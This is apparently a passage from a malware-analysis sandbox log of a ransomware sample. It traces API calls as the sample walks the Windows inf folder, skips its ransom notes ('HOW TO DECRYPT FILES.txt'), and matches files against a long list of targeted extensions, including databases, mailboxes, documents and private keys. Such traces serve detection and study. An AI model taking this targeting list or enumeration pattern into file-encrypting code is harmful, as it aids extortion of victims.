ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x65e1316e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x7fa6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ph3xibc1.inf", cAlternateFileName="")) returned 1 [0129.670] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0129.670] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ph3xibc1.inf") returned -1 [0129.670] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ph3xibc1.inf") returned -1 [0129.670] lstrcmpiA (lpString1="", lpString2="ph3xibc1.inf") returned -1 [0129.671] PathFindFileNameA (pszPath="C:\\Windows\\inf\\ph3xibc0.PNF") returned="ph3xibc0.PNF" [0129.671] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0129.671] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0129.671] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0129.671] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0129.671] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="ph3xibc1.inf" | out: lpString1="C:\\Windows\\inf\\ph3xibc1.inf") returned="C:\\Windows\\inf\\ph3xibc1.inf" [0129.671] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc1.inf", pszSpec="*.ems") returned 0 [0129.671] lstrlenA (lpString="*.ems") returned 5 [0129.671] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc1.inf", pszSpec="*.db") returned 0 [0129.671] lstrlenA (lpString="*.db") returned 4 [0129.671] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc1.inf", pszSpec="*.dbf") returned 0 [0129.671] lstrlenA (lpString="*.dbf") returned 5 [0129.671] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc1.inf", pszSpec="*.myox") returned 0 [0129.671] lstrlenA (lpString="*.myox") returned 6 [0129.671] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc1.inf", pszSpec="*.myo") returned 0 [0129.671] lstrlenA (lpString="*.myo") returned 5 [0129.671] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc1.inf", pszSpec="*.qbw") returned 0 [0129.672] lstrlenA (lpString="*.qbw") returned 5 [0129.672] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc1.inf", pszSpec="*.qbb") returned 0 [0129.672] lstrlenA (lpString="*.qbb") returned 5 [0129.672] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc1.inf", pszSpec="*.qbm") returned 0 [0129.672] lstrlenA (lpString="*.qbm") returned 5 [0129.672] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc1.inf", pszSpec="*.qbo") returned 0 [0129.672] lstrlenA (lpString="*.qbo") returned 5 [0129.672] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc1.inf", pszSpec="*.qbx") returned 0 [0129.672] lstrlenA (lpString="*.qbx") returned 5 [0129.672] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc1.inf", pszSpec="*.qba") returned 0 [0129.672] lstrlenA (lpString="*.qba") returned 5 [0129.672] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc1.inf", pszSpec="*.qby") returned 0 [0129.672] lstrlenA (lpString="*.qby") returned 5 [0129.672] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc1.inf", pszSpec="*.qbj") returned 0 [0129.672] lstrlenA (lpString="*.qbj") returned 5 [0129.672] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc1.inf", pszSpec="*.ofx") returned 0 [0129.672] lstrlenA (lpString="*.ofx") returned 5 [0129.672] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc1.inf", pszSpec="*.qif") returned 0 [0129.672] lstrlenA (lpString="*.qif") returned 5 [0129.673] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc1.inf", pszSpec="*.mye") returned 0 [0129.673] lstrlenA (lpString="*.mye") returned 5 [0129.673] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc1.inf", pszSpec="*.mbox") returned 0 [0129.673] lstrlenA (lpString="*.mbox") returned 6 [0129.673] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc1.inf", pszSpec="*.eml") returned 0 [0129.673] lstrlenA (lpString="*.eml") returned 5 [0129.673] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc1.inf", pszSpec="*.pst") returned 0 [0129.673] lstrlenA (lpString="*.pst") returned 5 [0129.673] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc1.inf", pszSpec="*.ost") returned 0 [0129.673] lstrlenA (lpString="*.ost") returned 5 [0129.673] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc1.inf", pszSpec="*.idx") returned 0 [0129.673] lstrlenA (lpString="*.idx") returned 5 [0129.673] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc1.inf", pszSpec="*.dbx") returned 0 [0129.673] lstrlenA (lpString="*.dbx") returned 5 [0129.673] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc1.inf", pszSpec="*.sql") returned 0 [0129.673] lstrlenA (lpString="*.sql") returned 5 [0129.673] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc1.inf", pszSpec="*.mdb") returned 0 [0129.673] lstrlenA (lpString="*.mdb") returned 5 [0129.674] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc1.inf", pszSpec="*.fdb") returned 0 [0129.674] lstrlenA (lpString="*.fdb") returned 5 [0129.674] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc1.inf", pszSpec="*.wab") returned 0 [0129.674] lstrlenA (lpString="*.wab") returned 5 [0129.674] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc1.inf", pszSpec="*.dat") returned 0 [0129.674] lstrlenA (lpString="*.dat") returned 5 [0129.674] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc1.inf", pszSpec="*.txt") returned 0 [0129.674] lstrlenA (lpString="*.txt") returned 5 [0129.674] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc1.inf", pszSpec="*.jpeg") returned 0 [0129.674] lstrlenA (lpString="*.jpeg") returned 6 [0129.674] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc1.inf", pszSpec="*.jpg") returned 0 [0129.674] lstrlenA (lpString="*.jpg") returned 5 [0129.674] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc1.inf", pszSpec="*.png") returned 0 [0129.674] lstrlenA (lpString="*.png") returned 5 [0129.674] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc1.inf", pszSpec="*.php") returned 0 [0129.674] lstrlenA (lpString="*.php") returned 5 [0129.674] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc1.inf", pszSpec="*.cs") returned 0 [0129.674] lstrlenA (lpString="*.cs") returned 4 [0129.675] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc1.inf", pszSpec="*.cpp") returned 0 [0129.675] lstrlenA (lpString="*.cpp") returned 5 [0129.675] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc1.inf", pszSpec="*.rar") returned 0 [0129.675] lstrlenA (lpString="*.rar") returned 5 [0129.675] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc1.inf", pszSpec="*.zip") returned 0 [0129.675] lstrlenA (lpString="*.zip") returned 5 [0129.675] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc1.inf", pszSpec="*.html") returned 0 [0129.675] lstrlenA (lpString="*.html") returned 6 [0129.675] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc1.inf", pszSpec="*.htm") returned 0 [0129.675] lstrlenA (lpString="*.htm") returned 5 [0129.675] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc1.inf", pszSpec="*.xlsx") returned 0 [0129.675] lstrlenA (lpString="*.xlsx") returned 6 [0129.675] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc1.inf", pszSpec="*.xls") returned 0 [0129.675] lstrlenA (lpString="*.xls") returned 5 [0129.675] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc1.inf", pszSpec="*.mp4") returned 0 [0129.675] lstrlenA (lpString="*.mp4") returned 5 [0129.675] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc1.inf", pszSpec="*.ppt") returned 0 [0129.675] lstrlenA (lpString="*.ppt") returned 5 [0129.675] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc1.inf", pszSpec="*.pptx") returned 0 [0129.676] lstrlenA (lpString="*.pptx") returned 6 [0129.676] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc1.inf", pszSpec="*.doc") returned 0 [0129.676] lstrlenA (lpString="*.doc") returned 5 [0129.676] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc1.inf", pszSpec="*.dot") returned 0 [0129.676] lstrlenA (lpString="*.dot") returned 5 [0129.676] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc1.inf", pszSpec="*.docx") returned 0 [0129.676] lstrlenA (lpString="*.docx") returned 6 [0129.676] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc1.inf", pszSpec="*.7z") returned 0 [0129.676] lstrlenA (lpString="*.7z") returned 4 [0129.676] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc1.inf", pszSpec="*.tar") returned 0 [0129.676] lstrlenA (lpString="*.tar") returned 5 [0129.676] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc1.inf", pszSpec="*.bz2") returned 0 [0129.676] lstrlenA (lpString="*.bz2") returned 5 [0129.676] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc1.inf", pszSpec="*.gz") returned 0 [0129.676] lstrlenA (lpString="*.gz") returned 4 [0129.676] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc1.inf", pszSpec="*.mkv") returned 0 [0129.676] lstrlenA (lpString="*.mkv") returned 5 [0129.676] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc1.inf", pszSpec="*.eml") returned 0 [0129.676] lstrlenA (lpString="*.eml") returned 5 [0129.677] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc1.inf", pszSpec="*.msg") returned 0 [0129.677] lstrlenA (lpString="*.msg") returned 5 [0129.677] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc1.inf", pszSpec="*.edb") returned 0 [0129.677] lstrlenA (lpString="*.edb") returned 5 [0129.677] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc1.inf", pszSpec="*.accdb") returned 0 [0129.677] lstrlenA (lpString="*.accdb") returned 7 [0129.677] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc1.inf", pszSpec="*.odb") returned 0 [0129.677] lstrlenA (lpString="*.odb") returned 5 [0129.677] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc1.inf", pszSpec="*.java") returned 0 [0129.677] lstrlenA (lpString="*.java") returned 6 [0129.677] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc1.inf", pszSpec="*.asm") returned 0 [0129.677] lstrlenA (lpString="*.asm") returned 5 [0129.677] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc1.inf", pszSpec="*.pfx") returned 0 [0129.677] lstrlenA (lpString="*.pfx") returned 5 [0129.677] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc1.inf", pszSpec="*.pem") returned 0 [0129.677] lstrlenA (lpString="*.pem") returned 5 [0129.677] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc1.inf", pszSpec="*.p12") returned 0 [0129.677] lstrlenA (lpString="*.p12") returned 5 [0129.677] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc1.inf", pszSpec="*.gpg") returned 0 [0129.677] lstrlenA (lpString="*.gpg") returned 5 [0129.678] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc1.inf", pszSpec="*.vsd") returned 0 [0129.678] lstrlenA (lpString="*.vsd") returned 5 [0129.678] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x910e8a1f, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x910e8a1f, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x910e8a1f, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x7094, dwReserved0=0x0, dwReserved1=0x0, cFileName="ph3xibc1.PNF", cAlternateFileName="")) returned 1 [0129.678] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0129.678] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ph3xibc1.PNF") returned -1 [0129.678] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ph3xibc1.PNF") returned -1 [0129.678] lstrcmpiA (lpString1="", lpString2="ph3xibc1.PNF") returned -1 [0129.679] PathFindFileNameA (pszPath="C:\\Windows\\inf\\ph3xibc1.inf") returned="ph3xibc1.inf" [0129.679] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0129.679] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0129.679] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0129.679] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0129.679] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="ph3xibc1.PNF" | out: lpString1="C:\\Windows\\inf\\ph3xibc1.PNF") returned="C:\\Windows\\inf\\ph3xibc1.PNF" [0129.679] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65e5f42f, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x65e5f42f, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x65e5f42f, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x6f34, dwReserved0=0x0, dwReserved1=0x0, cFileName="ph3xibc10.inf", cAlternateFileName="PH3XIB~1.INF")) returned 1 [0129.679] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0129.679] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ph3xibc10.inf") returned -1 [0129.679] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ph3xibc10.inf") returned -1 [0129.680] lstrcmpiA (lpString1="", lpString2="ph3xibc10.inf") returned -1 [0129.680] PathFindFileNameA (pszPath="C:\\Windows\\inf\\ph3xibc1.PNF") returned="ph3xibc1.PNF" [0129.680] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0129.680] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0129.680] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0129.680] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0129.680] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="ph3xibc10.inf" | out: lpString1="C:\\Windows\\inf\\ph3xibc10.inf") returned="C:\\Windows\\inf\\ph3xibc10.inf" [0129.680] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93a6aa0c, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x93a6aa0c, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x93a6aa0c, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x6674, dwReserved0=0x0, dwReserved1=0x0, cFileName="ph3xibc10.PNF", cAlternateFileName="PH3XIB~1.PNF")) returned 1 [0129.680] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0129.680] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ph3xibc10.PNF") returned -1 [0129.680] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ph3xibc10.PNF") returned -1 [0129.680] lstrcmpiA (lpString1="", lpString2="ph3xibc10.PNF") returned -1 [0129.681] PathFindFileNameA (pszPath="C:\\Windows\\inf\\ph3xibc10.inf") returned="ph3xibc10.inf" [0129.681] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0129.681] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0129.681] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0129.681] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0129.681] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="ph3xibc10.PNF" | out: lpString1="C:\\Windows\\inf\\ph3xibc10.PNF") returned="C:\\Windows\\inf\\ph3xibc10.PNF" [0129.681] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65e8558f, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x65e8558f, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x65e8558f, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xe694, dwReserved0=0x0, dwReserved1=0x0, cFileName="ph3xibc11.inf", cAlternateFileName="PH3XIB~2.INF")) returned 1 [0129.681] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0129.681] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ph3xibc11.inf") returned -1 [0129.681] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ph3xibc11.inf") returned -1 [0129.681] lstrcmpiA (lpString1="", lpString2="ph3xibc11.inf") returned -1 [0129.681] PathFindFileNameA (pszPath="C:\\Windows\\inf\\ph3xibc10.PNF") returned="ph3xibc10.PNF" [0129.681] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0129.682] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0129.682] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0129.682] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0129.682] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="ph3xibc11.inf" | out: lpString1="C:\\Windows\\inf\\ph3xibc11.inf") returned="C:\\Windows\\inf\\ph3xibc11.inf" [0129.682] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93c0d92f, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x93c0d92f, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x93c0d92f, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x9820, dwReserved0=0x0, dwReserved1=0x0, cFileName="ph3xibc11.PNF", cAlternateFileName="PH3XIB~2.PNF")) returned 1 [0129.682] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0129.682] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ph3xibc11.PNF") returned -1 [0129.682] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ph3xibc11.PNF") returned -1 [0129.682] lstrcmpiA (lpString1="", lpString2="ph3xibc11.PNF") returned -1 [0129.682] PathFindFileNameA (pszPath="C:\\Windows\\inf\\ph3xibc11.inf") returned="ph3xibc11.inf" [0129.682] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0129.683] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0129.683] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0129.683] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0129.683] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="ph3xibc11.PNF" | out: lpString1="C:\\Windows\\inf\\ph3xibc11.PNF") returned="C:\\Windows\\inf\\ph3xibc11.PNF" [0129.683] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65ed1850, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x65ed1850, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x65ed1850, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x5fc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ph3xibc12.inf", cAlternateFileName="PH3XIB~3.INF")) returned 1 [0129.683] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0129.683] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ph3xibc12.inf") returned -1 [0129.683] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ph3xibc12.inf") returned -1 [0129.683] lstrcmpiA (lpString1="", lpString2="ph3xibc12.inf") returned -1 [0129.683] PathFindFileNameA (pszPath="C:\\Windows\\inf\\ph3xibc11.PNF") returned="ph3xibc11.PNF" [0129.683] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0129.683] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0129.684] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0129.684] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0129.684] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="ph3xibc12.inf" | out: lpString1="C:\\Windows\\inf\\ph3xibc12.inf") returned="C:\\Windows\\inf\\ph3xibc12.inf" [0129.684] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93ccc010, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x93ccc010, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x93ccc010, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x60a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ph3xibc12.PNF", cAlternateFileName="PH3XIB~3.PNF")) returned 1 [0129.684] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0129.684] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ph3xibc12.PNF") returned -1 [0129.684] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ph3xibc12.PNF") returned -1 [0129.684] lstrcmpiA (lpString1="", lpString2="ph3xibc12.PNF") returned -1 [0129.684] PathFindFileNameA (pszPath="C:\\Windows\\inf\\ph3xibc12.inf") returned="ph3xibc12.inf" [0129.684] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0129.684] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0129.684] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0129.685] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0129.685] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="ph3xibc12.PNF" | out: lpString1="C:\\Windows\\inf\\ph3xibc12.PNF") returned="C:\\Windows\\inf\\ph3xibc12.PNF" [0129.686] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65f1db10, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x65f1db10, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x65f1db10, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xdc2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ph3xibc2.inf", cAlternateFileName="")) returned 1 [0129.686] 